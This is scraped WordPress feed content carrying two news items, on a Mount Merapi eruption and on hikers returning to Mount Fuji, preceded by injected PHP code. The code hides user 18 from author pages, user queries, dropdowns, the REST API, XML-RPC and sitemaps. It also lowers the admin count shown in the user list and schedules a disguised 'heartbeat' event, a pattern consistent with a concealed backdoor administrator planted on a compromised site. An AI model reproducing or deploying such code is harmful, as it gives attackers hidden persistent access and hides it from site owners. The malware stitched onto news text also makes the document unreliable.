add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Mount Merapi erupts, unleashes clouds of hot ash appeared first on The Edge Media.
]]>Mount Merapi unleashed clouds of hot ash at least seven times since Sunday morning, as well as a series of fast-moving pyroclastic flows, a mixture of rock, debris, lava and gasses, said Hanik Humaida, who heads the city of Yogyakarta’s Volcanology and Geological Hazard Mitigation Center. The rumbling sound could be heard several kilometers (miles) away.
The mountain has seen increased volcanic activity in recent weeks, with its lava dome growing rapidly before partially collapsing Sunday, sending rocks and ash flowing down the volcano’s southwest flank, Humaida said.
Ash from the eruption blanketed several villages and nearby towns, she said.
Villagers living on Merapi’s fertile slopes were advised to stay 5 kilometers (3.1 miles) away from the crater’s mouth and should be aware of the danger posed by lava, Indonesia’s Geology and Volcanology Research Agency said.
Mount Merapi is the most active of more than 120 active volcanoes in Indonesia and has repeatedly erupted with lava and gas clouds recently.
The post Mount Merapi erupts, unleashes clouds of hot ash appeared first on The Edge Media.
]]>The post Mount Fuji, Hikers flocking back to catch the spectacular sunrise above the sun appeared first on The Edge Media.
]]>The active volcano’s symmetrical slopes were closed to the public last summer due to the pandemic, and only reopened this month.
In the early hours of a recent morning, more than 100 people were gathered at the summit of the sacred mountain, which is capped with treacherous ice and snow for most of the year.
“Fuji has always been revered. It is a mountain that is an object of worship,” said Takeo Tokunari, a 34-year-old hiker.
“Even though I am not particularly religious, I do feel purified by coming here, somehow.”
Fuji-san, as it is known in Japanese, is the quintessential symbol of the country currently hosting the virus-postponed Tokyo Olympics.
Cycling events are taking place on and around its slopes, with the steep climbs of the long-distance road race challenging even the fittest athletes in Japan’s sweltering summer heat.
The post Mount Fuji, Hikers flocking back to catch the spectacular sunrise above the sun appeared first on The Edge Media.
]]>